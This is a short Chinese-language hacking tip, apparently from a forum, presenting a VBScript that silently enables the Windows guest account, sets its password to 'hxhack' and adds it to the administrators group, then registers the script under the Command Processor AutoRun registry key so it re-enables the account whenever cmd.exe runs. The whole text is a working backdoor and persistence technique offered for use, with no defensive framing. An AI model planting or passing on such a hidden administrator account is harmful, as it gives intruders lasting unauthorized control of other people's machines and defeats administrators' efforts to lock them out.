dim wsh
set wsh=createobject("wscript.shell")
wsh.run "net user guest /active:yes",0 （激活guest賬號）
wsh.run "net user guest hxhack",0 （修改guest密碼為hxhack）
wsh.run "net localgroup administrators guest /add",0 (添加guest到管理組)
然后把這個.txt文件的擴展名改為 .vbs即可
然后打開注冊表修改注冊標(biāo)里面的：
hkey_local_machine\software\microsoft\command processor\autorun
在鍵值里面加入你vbs文件的路徑就ok，然后運行vbs文件，不死賬號出來拉
如果管理員把你動過手腳的guest賬號停了，當(dāng)時他運行cmd的時候又自動啟動了guest賬號，因為上面的修改已經(jīng)讓我們的vbs文件和cmd.exe 產(chǎn)生了關(guān)聯(lián)運行cmd他就找到注冊表里面的路徑運行那vbs文件.